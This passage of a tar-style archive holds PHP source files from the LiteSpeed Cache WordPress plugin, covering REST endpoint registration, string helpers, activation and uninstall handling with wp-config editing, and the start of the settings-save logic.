$this->_global_groups ); } /** * Check if is in global groups or not. * * @since 1.8 * @access public * * @param string $group Group name. * @return bool */ public function is_global( $group ) { return in_array( $group, $this->_global_groups, true ); } /** * Add non persistent groups. * * @since 1.8 * @access public * * @param string|string[] $groups Group(s) to add. * @return void */ public function add_non_persistent_groups( $groups ) { if ( ! is_array( $groups ) ) { $groups = [ $groups ]; } $this->_non_persistent_groups = array_merge( $this->_non_persistent_groups, $groups ); $this->_non_persistent_groups = array_unique( $this->_non_persistent_groups ); } /** * Check if is in non persistent groups or not. * * @since 1.8 * @access public * * @param string $group Group name. * @return bool */ public function is_non_persistent( $group ) { return in_array( $group, $this->_non_persistent_groups, true ); } } ������������������������������������������������������plugins/litespeed-cache/src/rest.cls.php������������������������������������������������������������0000644�����������������00000022125�15233526476�0014320 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * REST endpoints and helpers for LiteSpeed. * * @since 2.9.4 * @package LiteSpeed */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class REST * * Registers plugin REST endpoints and exposes helpers for REST detection. */ class REST extends Root { const LOG_TAG = '☎️'; /** * Whether current request is an internal REST call. * * @var bool */ private $_internal_rest_status = false; /** * Constructor. * * @since 2.9.4 */ public function __construct() { // Hook to internal REST call. add_filter( 'rest_request_before_callbacks', [ $this, 'set_internal_rest_on' ] ); add_filter( 'rest_request_after_callbacks', [ $this, 'set_internal_rest_off' ] ); add_action( 'rest_api_init', [ $this, 'rest_api_init' ] ); } /** * Register REST routes. * * @since 3.0 * @return void */ public function rest_api_init() { // Activate or deactivate a specific crawler callback register_rest_route( 'litespeed/v1', '/toggle_crawler_state', [ 'methods' => 'POST', 'callback' => [ $this, 'toggle_crawler_state' ], 'permission_callback' => function () { return current_user_can( 'manage_network_options' ) || current_user_can( 'manage_options' ); }, ] ); register_rest_route( 'litespeed/v1', '/tool/check_ip', [ 'methods' => 'GET', 'callback' => [ $this, 'check_ip' ], 'permission_callback' => function () { return current_user_can( 'manage_network_options' ) || current_user_can( 'manage_options' ); }, ] ); register_rest_route( 'litespeed/v1', '/guest/sync', [ 'methods' => 'GET', 'callback' => [ $this, 'guest_sync' ], 'permission_callback' => function () { return current_user_can( 'manage_network_options' ) || current_user_can( 'manage_options' ); }, ] ); // IP callback validate register_rest_route( 'litespeed/v3', '/ip_validate', [ 'methods' => 'POST', 'callback' => [ $this, 'ip_validate' ], 'permission_callback' => [ $this, 'is_from_cloud' ], ] ); // 1.2. WP REST Dryrun Callback register_rest_route( 'litespeed/v3', '/wp_rest_echo', [ 'methods' => 'POST', 'callback' => [ $this, 'wp_rest_echo' ], 'permission_callback' => [ $this, 'is_from_cloud' ], ] ); register_rest_route( 'litespeed/v3', '/ping', [ 'methods' => 'POST', 'callback' => [ $this, 'ping' ], 'permission_callback' => [ $this, 'is_from_cloud' ], ] ); // CDN setup callback notification register_rest_route( 'litespeed/v3', '/cdn_status', [ 'methods' => 'POST', 'callback' => [ $this, 'cdn_status' ], 'permission_callback' => [ $this, 'is_from_cloud' ], ] ); // Image optm notify_img // Need validation register_rest_route( 'litespeed/v1', '/notify_img', [ 'methods' => 'POST', 'callback' => [ $this, 'notify_img' ], 'permission_callback' => [ $this, 'is_from_cloud' ], ] ); register_rest_route( 'litespeed/v1', '/notify_ccss', [ 'methods' => 'POST', 'callback' => [ $this, 'notify_ccss' ], 'permission_callback' => [ $this, 'is_from_cloud' ], ] ); register_rest_route( 'litespeed/v1', '/notify_ucss', [ 'methods' => 'POST', 'callback' => [ $this, 'notify_ucss' ], 'permission_callback' => [ $this, 'is_from_cloud' ], ] ); register_rest_route( 'litespeed/v1', '/notify_vpi', [ 'methods' => 'POST', 'callback' => [ $this, 'notify_vpi' ], 'permission_callback' => [ $this, 'is_from_cloud' ], ] ); register_rest_route( 'litespeed/v3', '/err_domains', [ 'methods' => 'POST', 'callback' => [ $this, 'err_domains' ], 'permission_callback' => [ $this, 'is_from_cloud' ], ] ); // Image optm check_img // Need validation register_rest_route( 'litespeed/v1', '/check_img', [ 'methods' => 'POST', 'callback' => [ $this, 'check_img' ], 'permission_callback' => [ $this, 'is_from_cloud' ], ] ); } /** * Call to freeze or melt the crawler clicked * * @since 4.3 */ public function toggle_crawler_state() { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- REST API nonce verified by WordPress $crawler_id = isset( $_POST['crawler_id'] ) ? sanitize_text_field( wp_unslash( $_POST['crawler_id'] ) ) : ''; if ( '' !== $crawler_id ) { return $this->cls( 'Crawler' )->toggle_activeness( $crawler_id ) ? 1 : 0; } } /** * Check if the request is from cloud nodes. * * @since 4.2 * @since 4.4.7 Token/API key validation makes IP validation redundant. * @return bool */ public function is_from_cloud() { return $this->cls( 'Cloud' )->is_from_cloud(); } /** * Ping pong. * * @since 3.0.4 * @return mixed */ public function ping() { return $this->cls( 'Cloud' )->ping(); } /** * Launch IP check. * * @since 3.0 * @return mixed */ public function check_ip() { return Tool::cls()->check_ip(); } /** * Sync Guest Mode IP/UA lists. * * @since 7.7 * @return array */ public function guest_sync() { return Guest::cls()->sync_lists(); } /** * Validate IPs from cloud. * * @since 3.0 * @return mixed */ public function ip_validate() { return $this->cls( 'Cloud' )->ip_validate(); } /** * REST echo helper. * * @since 3.0 * @return mixed */ public function wp_rest_echo() { return $this->cls( 'Cloud' )->wp_rest_echo(); } /** * Endpoint to notify plugin of CDN status updates. * * @since 7.0 * @return mixed */ public function cdn_status() { return $this->cls( 'Cloud' )->update_cdn_status(); } /** * Image optimization notification. * * @since 3.0 * @return mixed */ public function notify_img() { return Img_Optm::cls()->notify_img(); } /** * Critical CSS notification. * * @since 7.1 * @return mixed */ public function notify_ccss() { self::debug( 'notify_ccss' ); return CSS::cls()->notify(); } /** * Unique CSS notification. * * @since 5.2 * @return mixed */ public function notify_ucss() { self::debug( 'notify_ucss' ); return UCSS::cls()->notify(); } /** * Viewport Images notification. * * @since 4.7 * @return mixed */ public function notify_vpi() { self::debug( 'notify_vpi' ); return VPI::cls()->notify(); } /** * Error domain report from cloud. * * @since 4.7 * @return mixed */ public function err_domains() { self::debug( 'err_domains' ); return $this->cls( 'Cloud' )->rest_err_domains(); } /** * Launch image check. * * @since 3.0 * @return mixed */ public function check_img() { return Img_Optm::cls()->check_img(); } /** * Return a standardized error payload. * * @since 5.7.0.1 * @param string|int $code Error code. * @return array */ public static function err( $code ) { return [ '_res' => 'err', '_msg' => $code, ]; } /** * Set internal REST tag to ON. * * @since 2.9.4 * @param mixed $not_used Passthrough value from the filter. * @return mixed */ public function set_internal_rest_on( $not_used = null ) { $this->_internal_rest_status = true; Debug2::debug2( '[REST] ✅ Internal REST ON [filter] rest_request_before_callbacks' ); return $not_used; } /** * Set internal REST tag to OFF. * * @since 2.9.4 * @param mixed $not_used Passthrough value from the filter. * @return mixed */ public function set_internal_rest_off( $not_used = null ) { $this->_internal_rest_status = false; Debug2::debug2( '[REST] ❎ Internal REST OFF [filter] rest_request_after_callbacks' ); return $not_used; } /** * Whether current request is an internal REST call. * * @since 2.9.4 * @return bool */ public function is_internal_rest() { return $this->_internal_rest_status; } /** * Check whether a URL or current page is a REST request. * * @since 2.9.3 * @since 2.9.4 Moved here from Utility, dropped static. * @param string|false $url URL to check; when false checks current request. * @return bool */ public function is_rest( $url = false ) { // For WP 4.4.0- compatibility. if ( ! function_exists( 'rest_get_url_prefix' ) ) { return ( defined( 'REST_REQUEST' ) && REST_REQUEST ); } $prefix = rest_get_url_prefix(); // Case #1: After WP_REST_Request initialization. if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) { return true; } // Case #2: Support "plain" permalink settings. // phpcs:ignore WordPress.Security.NonceVerification.Recommended $route = isset( $_GET['rest_route'] ) ? sanitize_text_field( wp_unslash( $_GET['rest_route'] ) ) : ''; if ( $route && 0 === strpos( trim( $route, '\\/' ), $prefix, 0 ) ) { return true; } if ( !$url ) { return false; } // Case #3: URL path begins with wp-json/ (REST prefix) – safe for subfolder installs. $rest_url = wp_parse_url( site_url( $prefix ) ); $current_url = wp_parse_url( $url ); if ( false !== $current_url && ! empty( $current_url['path'] ) && false !== $rest_url && ! empty( $rest_url['path'] ) ) { return 0 === strpos( $current_url['path'], $rest_url['path'] ); } return false; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/str.cls.php�������������������������������������������������������������0000644�����������������00000006124�15233526476�0014154 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * LiteSpeed String Operator Library Class * * @since 1.3 * @package LiteSpeed */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class Str * * Provides string manipulation utilities for LiteSpeed Cache. * * @since 1.3 */ class Str { /** * Translate QC HTML links from html. * * Converts `<a href="{#xxx#}">xxxx</a>` to `<a href="xxx">xxxx</a>`. * * @since 7.0 * @access public * @param string $html The HTML string to process. * @return string The processed HTML string. */ public static function translate_qc_apis( $html ) { preg_match_all( '/<a href="{#(\w+)#}"/U', $html, $matches ); if ( ! $matches ) { return $html; } foreach ( $matches[0] as $k => $html_to_be_replaced ) { $link = '<a href="' . Utility::build_url( Router::ACTION_CLOUD, Cloud::TYPE_API, false, null, [ 'action2' => $matches[1][ $k ] ] ) . '"'; $html = str_replace( $html_to_be_replaced, $link, $html ); } return $html; } /** * Return safe HTML * * Sanitizes HTML to allow only specific tags and attributes. * * @since 7.0 * @access public * @param string $html The HTML string to sanitize. * @return string The sanitized HTML string. */ public static function safe_html( $html ) { $common_attrs = [ 'style' => [], 'class' => [], 'target' => [], 'src' => [], 'color' => [], 'href' => [], ]; $tags = [ 'hr', 'h3', 'h4', 'h5', 'ul', 'li', 'br', 'strong', 'p', 'span', 'img', 'a', 'div', 'font' ]; $allowed_tags = []; foreach ( $tags as $tag ) { $allowed_tags[ $tag ] = $common_attrs; } return wp_kses( $html, $allowed_tags ); } /** * Generate random string * * Creates a random string of specified length and character type. * * @since 1.3 * @access public * @param int $len Length of string. * @param int $type Character type: 1-Number, 2-LowerChar, 4-UpperChar, 7-All. * @return string Randomly generated string. */ public static function rrand( $len, $type = 7 ) { switch ( $type ) { case 0: $charlist = '012'; break; case 1: $charlist = '0123456789'; break; case 2: $charlist = 'abcdefghijklmnopqrstuvwxyz'; break; case 3: $charlist = '0123456789abcdefghijklmnopqrstuvwxyz'; break; case 4: $charlist = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; break; case 5: $charlist = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; break; case 6: $charlist = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; break; case 7: $charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; break; } $str = ''; $max = strlen( $charlist ) - 1; for ( $i = 0; $i < $len; $i++ ) { $str .= $charlist[ random_int( 0, $max ) ]; } return $str; } /** * Trim double quotes from a string * * Removes double quotes from a string for use as a preformatted src in HTML. * * @since 6.5.3 * @access public * @param string $text The string to process. * @return string The string with double quotes removed. */ public static function trim_quotes( $text ) { return str_replace( '"', '', $text ); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/activation.cls.php������������������������������������������������������0000644�����������������00000042473�15233526476�0015514 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The plugin activation class. * * @since 1.1.0 * @since 1.5 Moved into /inc * @package LiteSpeed * @subpackage LiteSpeed/inc * @author LiteSpeed Technologies <info@litespeedtech.com> */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class Activation * * Handles plugin activation, deactivation, and related file management. * * @since 1.1.0 */ class Activation extends Base { const TYPE_UPGRADE = 'upgrade'; const TYPE_INSTALL_3RD = 'install_3rd'; const TYPE_INSTALL_ZIP = 'install_zip'; const TYPE_DISMISS_RECOMMENDED = 'dismiss_recommended'; const NETWORK_TRANSIENT_COUNT = 'lscwp_network_count'; /** * Data file path for configuration. * * @since 4.1 * @var string */ private static $data_file; /** * Construct * * Initializes the data file path. * * @since 4.1 */ public function __construct() { self::$data_file = LSCWP_CONTENT_DIR . '/' . self::CONF_FILE; } /** * The activation hook callback. * * Handles plugin activation tasks, including file creation and multisite setup. * * @since 1.0.0 * @access public */ public static function register_activation() { $count = 0; ! defined( 'LSCWP_LOG_TAG' ) && define( 'LSCWP_LOG_TAG', 'Activate_' . get_current_blog_id() ); /* Network file handler */ if ( is_multisite() ) { $count = self::get_network_count(); if ( false !== $count ) { $count = (int) $count + 1; set_site_transient( self::NETWORK_TRANSIENT_COUNT, $count, DAY_IN_SECONDS ); } if ( ! is_network_admin() ) { if ( 1 === $count ) { // Only itself is activated, set .htaccess with only CacheLookUp try { Htaccess::cls()->insert_ls_wrapper(); } catch ( \Exception $ex ) { Admin_Display::error( $ex->getMessage() ); } } } } self::cls()->update_files(); if ( defined( 'LSCWP_REF' ) && 'whm' === LSCWP_REF ) { GUI::update_option( GUI::WHM_MSG, GUI::WHM_MSG_VAL ); } } /** * Uninstall plugin * * Removes all LiteSpeed Cache settings and data. * * @since 1.1.0 * @since 7.3 Updated to remove all settings. * @access public */ public static function uninstall_litespeed_cache() { Task::destroy(); if ( is_multisite() ) { // Save main site id $current_blog = get_current_blog_id(); // get all sites $sub_sites = get_sites(); // clear foreach site foreach ( $sub_sites as $sub_site ) { $sub_blog_id = (int) $sub_site->blog_id; if ( $sub_blog_id !== $current_blog ) { // Switch to blog switch_to_blog( $sub_blog_id ); // Delete site options self::delete_settings(); // Delete site tables Data::cls()->tables_del(); } } // Return to main site switch_to_blog( $current_blog ); } // Delete current blog/site // Delete options self::delete_settings(); // Delete site tables Data::cls()->tables_del(); if ( file_exists( LITESPEED_STATIC_DIR ) ) { File::rrmdir( LITESPEED_STATIC_DIR ); } Cloud::version_check( 'uninstall' ); } /** * Remove all litespeed settings. * * Deletes all LiteSpeed Cache options from the database. * * @since 7.3 * @access private */ private static function delete_settings() { global $wpdb; // phpcs:ignore WordPress.DB.DirectDatabaseQuery $wpdb->query($wpdb->prepare("DELETE FROM `$wpdb->options` WHERE option_name LIKE %s", 'litespeed.%')); } /** * Get the blog ids for the network. Accepts function arguments. * * @since 1.0.12 * @access public * @param array $args Arguments for get_sites(). * @return array The array of blog ids. */ public static function get_network_ids( $args = [] ) { $args['fields'] = 'ids'; $blogs = get_sites( $args ); return $blogs; } /** * Gets the count of active litespeed cache plugins on multisite. * * @since 1.0.12 * @access private * @return int|false Number of active LSCWP or false if none. */ private static function get_network_count() { $count = get_site_transient( self::NETWORK_TRANSIENT_COUNT ); if ( false !== $count ) { return (int) $count; } // need to update $default = []; $count = 0; $sites = self::get_network_ids( [ 'deleted' => 0 ] ); if ( empty( $sites ) ) { return false; } foreach ( $sites as $site ) { $bid = is_object( $site ) && property_exists( $site, 'blog_id' ) ? $site->blog_id : $site; $plugins = get_blog_option( $bid, 'active_plugins', $default ); if ( ! empty( $plugins ) && in_array( LSCWP_BASENAME, $plugins, true ) ) { ++$count; } } /** * In case this is called outside the admin page * * @see https://codex.wordpress.org/Function_Reference/is_plugin_active_for_network * @since 2.0 */ if ( ! function_exists( 'is_plugin_active_for_network' ) ) { require_once ABSPATH . '/wp-admin/includes/plugin.php'; } if ( is_plugin_active_for_network( LSCWP_BASENAME ) ) { ++$count; } return $count; } /** * Is this deactivate call the last active installation on the multisite network? * * @since 1.0.12 * @access private */ private static function is_deactivate_last() { $count = self::get_network_count(); if ( false === $count ) { return false; } if ( 1 !== $count ) { // Not deactivating the last one. --$count; set_site_transient( self::NETWORK_TRANSIENT_COUNT, $count, DAY_IN_SECONDS ); return false; } delete_site_transient( self::NETWORK_TRANSIENT_COUNT ); return true; } /** * The deactivation hook callback. * * Initializes all clean up functionalities. * * @since 1.0.0 * @access public */ public static function register_deactivation() { Task::destroy(); ! defined( 'LSCWP_LOG_TAG' ) && define( 'LSCWP_LOG_TAG', 'Deactivate_' . get_current_blog_id() ); Purge::purge_all(); if ( is_multisite() ) { if ( ! self::is_deactivate_last() ) { if ( is_network_admin() ) { // Still other activated subsite left, set .htaccess with only CacheLookUp try { Htaccess::cls()->insert_ls_wrapper(); } catch ( \Exception $ex ) { Admin_Display::error($ex->getMessage()); } } return; } } /* 1) wp-config.php; */ try { self::cls()->manage_wp_cache_const( false ); } catch ( \Exception $ex ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.PHP.DevelopmentFunctions.error_log_error_log error_log( 'In wp-config.php: WP_CACHE could not be set to false during deactivation!' ); Admin_Display::error( $ex->getMessage() ); } /* 2) adv-cache.php; Dropped in v3.0.4 */ /* 3) object-cache.php; */ Object_Cache::cls()->del_file(); /* 4) .htaccess; */ try { Htaccess::cls()->clear_rules(); } catch ( \Exception $ex ) { Admin_Display::error( $ex->getMessage() ); } /* 5) .litespeed_conf.dat; */ self::del_conf_data_file(); /* 6) delete option lscwp_whm_install */ // delete in case it's not deleted prior to deactivation. GUI::dismiss_whm(); } /** * Manage related files based on plugin latest conf * * Handle files: * 1) wp-config.php; * 2) adv-cache.php; * 3) object-cache.php; * 4) .htaccess; * 5) .litespeed_conf.dat; * * @since 3.0 * @access public */ public function update_files() { Debug2::debug( '🗂️ [Activation] update_files' ); // Update cache setting `_CACHE` $this->cls( 'Conf' )->define_cache(); // Site options applied already $options = $this->get_options(); /* 1) wp-config.php; */ try { $this->manage_wp_cache_const( $options[ self::_CACHE ] ); } catch ( \Exception $ex ) { // Add msg to admin page or CLI Admin_Display::error( wp_kses_post( $ex->getMessage() ) ); } /* 2) adv-cache.php; Dropped in v3.0.4 */ /* 3) object-cache.php; */ if ( $options[ self::O_OBJECT ] && ( ! $options[ self::O_DEBUG_DISABLE_ALL ] || is_multisite() ) ) { $this->cls( 'Object_Cache' )->update_file( $options ); } else { $this->cls( 'Object_Cache' )->del_file(); // Note: because it doesn't reconnect, which caused setting page OC option changes delayed, thus may meet Connect Test Failed issue (Next refresh will correct it). Not a big deal, will keep as is. } /* 4) .htaccess; */ try { $this->cls( 'Htaccess' )->update( $options ); } catch ( \Exception $ex ) { Admin_Display::error( wp_kses_post( $ex->getMessage() ) ); } /* 5) .litespeed_conf.dat; */ if ( ( $options[ self::O_GUEST ] || $options[ self::O_OBJECT ] ) && ( ! $options[ self::O_DEBUG_DISABLE_ALL ] || is_multisite() ) ) { $this->update_conf_data_file( $options ); } } /** * Delete data conf file * * Removes the .litespeed_conf.dat file. * * @since 4.1 * @access private */ private static function del_conf_data_file() { global $wp_filesystem; if ( ! $wp_filesystem ) { require_once ABSPATH . 'wp-admin/includes/file.php'; WP_Filesystem(); } if ( $wp_filesystem->exists( self::$data_file ) ) { $wp_filesystem->delete( self::$data_file ); } } /** * Update data conf file for guest mode & object cache * * Updates the .litespeed_conf.dat file with relevant settings. * * @since 4.1 * @access private * @param array $options Plugin options. */ private function update_conf_data_file( $options ) { $ids = []; if ( $options[ self::O_OBJECT ] ) { $this_ids = [ self::O_DEBUG, self::O_OBJECT_KIND, self::O_OBJECT_HOST, self::O_OBJECT_PORT, self::O_OBJECT_LIFE, self::O_OBJECT_USER, self::O_OBJECT_PSWD, self::O_OBJECT_DB_ID, self::O_OBJECT_PERSISTENT, self::O_OBJECT_ADMIN, self::O_OBJECT_GLOBAL_GROUPS, self::O_OBJECT_NON_PERSISTENT_GROUPS, ]; $ids = array_merge( $ids, $this_ids ); } if ( $options[ self::O_GUEST ] ) { $this_ids = [ self::HASH, self::O_CACHE_LOGIN_COOKIE, self::O_DEBUG_IPS, self::O_UTIL_NO_HTTPS_VARY, ]; $ids = array_merge( $ids, $this_ids ); } $data = []; foreach ( $ids as $v ) { $data[ $v ] = $options[ $v ]; } $data = wp_json_encode( $data ); $old_data = File::read( self::$data_file ); if ( $old_data !== $data ) { defined( 'LSCWP_LOG' ) && Debug2::debug( '[Activation] Updating .litespeed_conf.dat' ); File::save( self::$data_file, $data ); } } /** * Update the WP_CACHE variable in the wp-config.php file. * * If enabling, check if the variable is defined, and if not, define it. * Vice versa for disabling. * * @since 1.0.0 * @since 3.0 Refactored * @param bool $enable Whether to enable WP_CACHE. * @throws \Exception If wp-config.php cannot be modified. * @return bool True if updated, false if no change needed. */ public function manage_wp_cache_const( $enable ) { if ( $enable ) { if ( defined( 'WP_CACHE' ) && WP_CACHE ) { return false; } } elseif ( ! defined( 'WP_CACHE' ) || ( defined( 'WP_CACHE' ) && ! WP_CACHE ) ) { return false; } if ( apply_filters( 'litespeed_wpconfig_readonly', false ) ) { throw new \Exception( 'wp-config file is forbidden to modify due to API hook: litespeed_wpconfig_readonly' ); } /** * Follow WP's logic to locate wp-config file * * @see wp-load.php */ $conf_file = ABSPATH . 'wp-config.php'; if ( ! file_exists( $conf_file ) ) { $conf_file = dirname( ABSPATH ) . '/wp-config.php'; } $content = File::read( $conf_file ); if ( ! $content ) { throw new \Exception( 'wp-config file content is empty: ' . wp_kses_post( $conf_file ) ); } // Remove the line `define('WP_CACHE', true/false);` first if ( defined( 'WP_CACHE' ) ) { $content = preg_replace( '/define\(\s*([\'"])WP_CACHE\1\s*,\s*\w+\s*\)\s*;/sU', '', $content ); } // Insert const if ( $enable ) { $content = preg_replace( '/^<\?php/', "<?php\ndefine( 'WP_CACHE', true );", $content ); } $res = File::save( $conf_file, $content, false, false, false ); if ( true !== $res ) { throw new \Exception( 'wp-config.php operation failed when changing `WP_CACHE` const: ' . wp_kses_post( $res ) ); } return true; } /** * Handle auto update * * Enables auto-updates for the plugin if configured. * * @since 2.7.2 * @access public */ public function auto_update() { if ( ! $this->conf( Base::O_AUTO_UPGRADE ) ) { return; } add_filter( 'auto_update_plugin', [ $this, 'auto_update_hook' ], 10, 2 ); } /** * Auto upgrade hook * * Determines whether to auto-update the plugin. * * @since 3.0 * @access public * @param bool $update Whether to update. * @param object $item Plugin data. * @return bool Whether to update. */ public function auto_update_hook( $update, $item ) { if ( ! empty( $item->slug ) && 'litespeed-cache' === $item->slug ) { $auto_v = Cloud::version_check( 'auto_update_plugin' ); if ( ! empty( $auto_v['latest'] ) && ! empty( $item->new_version ) && $auto_v['latest'] === $item->new_version ) { return true; } } return $update; // Else, use the normal API response to decide whether to update or not } /** * Upgrade LSCWP * * Upgrades the LiteSpeed Cache plugin. * * @since 2.9 * @access public */ public function upgrade() { $plugin = Core::PLUGIN_FILE; /** * Load upgrade cls * * @see wp-admin/update.php */ include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; include_once ABSPATH . 'wp-admin/includes/file.php'; include_once ABSPATH . 'wp-admin/includes/misc.php'; try { ob_start(); $skin = new \WP_Ajax_Upgrader_Skin(); $upgrader = new \Plugin_Upgrader( $skin ); $result = $upgrader->upgrade( $plugin ); if ( ! is_plugin_active( $plugin ) ) { // todo: upgrade should reactivate the plugin again by WP. Need to check why disabled after upgraded. activate_plugin( $plugin, '', is_multisite() ); } ob_end_clean(); } catch ( \Exception $e ) { Admin_Display::error( __( 'Failed to upgrade.', 'litespeed-cache' ) ); return; } if ( is_wp_error( $result ) ) { Admin_Display::error( __( 'Failed to upgrade.', 'litespeed-cache' ) ); return; } Admin_Display::success( __( 'Upgraded successfully.', 'litespeed-cache' ) ); } /** * Detect if the plugin is active or not * * @since 1.0 * @access public * @param string $plugin Plugin slug. * @return bool True if active, false otherwise. */ public function dash_notifier_is_plugin_active( $plugin ) { include_once ABSPATH . 'wp-admin/includes/plugin.php'; $plugin_path = $plugin . '/' . $plugin . '.php'; return is_plugin_active( $plugin_path ); } /** * Detect if the plugin is installed or not * * @since 1.0 * @access public * @param string $plugin Plugin slug. * @return bool True if installed, false otherwise. */ public function dash_notifier_is_plugin_installed( $plugin ) { include_once ABSPATH . 'wp-admin/includes/plugin.php'; $plugin_path = $plugin . '/' . $plugin . '.php'; $valid = validate_plugin( $plugin_path ); return ! is_wp_error( $valid ); } /** * Grab a plugin info from WordPress * * @since 1.0 * @access public * @param string $slug Plugin slug. * @return object|false Plugin info or false on failure. */ public function dash_notifier_get_plugin_info( $slug ) { include_once ABSPATH . 'wp-admin/includes/plugin-install.php'; $result = plugins_api( 'plugin_information', [ 'slug' => $slug ] ); if ( is_wp_error( $result ) ) { return false; } return $result; } /** * Install the 3rd party plugin * * Installs and activates a third-party plugin. * * @since 1.0 * @access public */ public function dash_notifier_install_3rd() { ! defined( 'SILENCE_INSTALL' ) && define( 'SILENCE_INSTALL', true ); // phpcs:ignore $slug = ! empty( $_GET['plugin'] ) ? wp_unslash( sanitize_text_field( $_GET['plugin'] ) ) : false; // Check if plugin is installed already if ( ! $slug || $this->dash_notifier_is_plugin_active( $slug ) ) { return; } /** * Load upgrade cls * * @see wp-admin/update.php */ include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; include_once ABSPATH . 'wp-admin/includes/file.php'; include_once ABSPATH . 'wp-admin/includes/misc.php'; $plugin_path = $slug . '/' . $slug . '.php'; if ( ! $this->dash_notifier_is_plugin_installed( $slug ) ) { $plugin_info = $this->dash_notifier_get_plugin_info( $slug ); if ( ! $plugin_info ) { return; } // Try to install plugin try { ob_start(); $skin = new \Automatic_Upgrader_Skin(); $upgrader = new \Plugin_Upgrader( $skin ); $result = $upgrader->install( $plugin_info->download_link ); ob_end_clean(); } catch ( \Exception $e ) { return; } } if ( ! is_plugin_active( $plugin_path ) ) { activate_plugin( $plugin_path ); } } /** * Handle all request actions from main cls * * Processes various activation-related actions. * * @since 2.9 * @access public */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_UPGRADE: $this->upgrade(); break; case self::TYPE_INSTALL_3RD: $this->dash_notifier_install_3rd(); break; case self::TYPE_DISMISS_RECOMMENDED: Cloud::reload_summary(); Cloud::save_summary( [ 'news.new' => 0 ] ); break; case self::TYPE_INSTALL_ZIP: Cloud::reload_summary(); $summary = Cloud::get_summary(); if ( ! empty( $summary['news.zip'] ) ) { Cloud::save_summary( [ 'news.new' => 0 ] ); $this->cls( 'Debug2' )->beta_test( $summary['zip'] ); } break; default: break; } Admin::redirect(); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/admin-settings.cls.php��������������������������������������������������0000644�����������������00000026167�15233526476�0016303 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The admin settings handler of the plugin. * * Handles saving and validating settings from the admin UI and network admin. * * @since 1.1.0 * @package LiteSpeed */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class Admin_Settings * * Saves, sanitizes, and validates LiteSpeed Cache settings. */ class Admin_Settings extends Base { const LOG_TAG = '[Settings]'; const ENROLL = '_settings-enroll'; /** * Save settings (single site). * * Accepts data from $_POST or WP-CLI. * Importers may call the Conf class directly. * * @since 3.0 * * @param array<string,mixed> $raw_data Raw data from request/CLI. * @return void */ public function save( $raw_data ) { self::debug( 'saving' ); if ( empty( $raw_data[ self::ENROLL ] ) ) { wp_die( esc_html__( 'No fields', 'litespeed-cache' ) ); } $raw_data = Admin::cleanup_text( $raw_data ); // Convert data to config format. $the_matrix = []; foreach ( array_unique( $raw_data[ self::ENROLL ] ) as $id ) { $child = false; // Drop array format. if ( false !== strpos( $id, '[' ) ) { if ( 0 === strpos( $id, self::O_CDN_MAPPING ) || 0 === strpos( $id, self::O_CRAWLER_COOKIES ) ) { // CDN child | Cookie Crawler settings. $child = substr( $id, strpos( $id, '[' ) + 1, strpos( $id, ']' ) - strpos( $id, '[' ) - 1 ); // Drop ending []; Compatible with xx[0] way from CLI. $id = substr( $id, 0, strpos( $id, '[' ) ); } else { // Drop ending []. $id = substr( $id, 0, strpos( $id, '[' ) ); } } if ( ! array_key_exists( $id, self::$_default_options ) ) { continue; } // Validate $child. if ( self::O_CDN_MAPPING === $id ) { if ( ! in_array( $child, [ self::CDN_MAPPING_URL, self::CDN_MAPPING_INC_IMG, self::CDN_MAPPING_INC_CSS, self::CDN_MAPPING_INC_JS, self::CDN_MAPPING_FILETYPE ], true ) ) { continue; } } if ( self::O_CRAWLER_COOKIES === $id ) { if ( ! in_array( $child, [ self::CRWL_COOKIE_NAME, self::CRWL_COOKIE_VALS ], true ) ) { continue; } } // Pull value from request. if ( $child ) { // []=xxx or [0]=xxx $data = ! empty( $raw_data[ $id ][ $child ] ) ? $raw_data[ $id ][ $child ] : $this->type_casting(false, $id); } else { $data = ! empty( $raw_data[ $id ] ) ? $raw_data[ $id ] : $this->type_casting(false, $id); } // Sanitize/normalize complex fields. if ( self::O_CDN_MAPPING === $id || self::O_CRAWLER_COOKIES === $id ) { // Use existing queued data if available (only when $child != false). $data2 = array_key_exists( $id, $the_matrix ) ? $the_matrix[ $id ] : ( defined( 'WP_CLI' ) && WP_CLI ? $this->conf( $id ) : [] ); } switch ( $id ) { // Don't allow Editor/admin to be used in crawler role simulator. case self::O_CRAWLER_ROLES: $data = Utility::sanitize_lines( $data ); if ( $data ) { foreach ( $data as $k => $v ) { if ( user_can( $v, 'edit_posts' ) ) { /* translators: %s: user id in <code> tags */ $msg = sprintf( esc_html__( 'The user with id %s has editor access, which is not allowed for the role simulator.', 'litespeed-cache' ), '<code>' . esc_html( $v ) . '</code>' ); Admin_Display::error( $msg ); unset( $data[ $k ] ); } } } break; case self::O_CDN_MAPPING: /** * CDN setting * * Raw data format: * 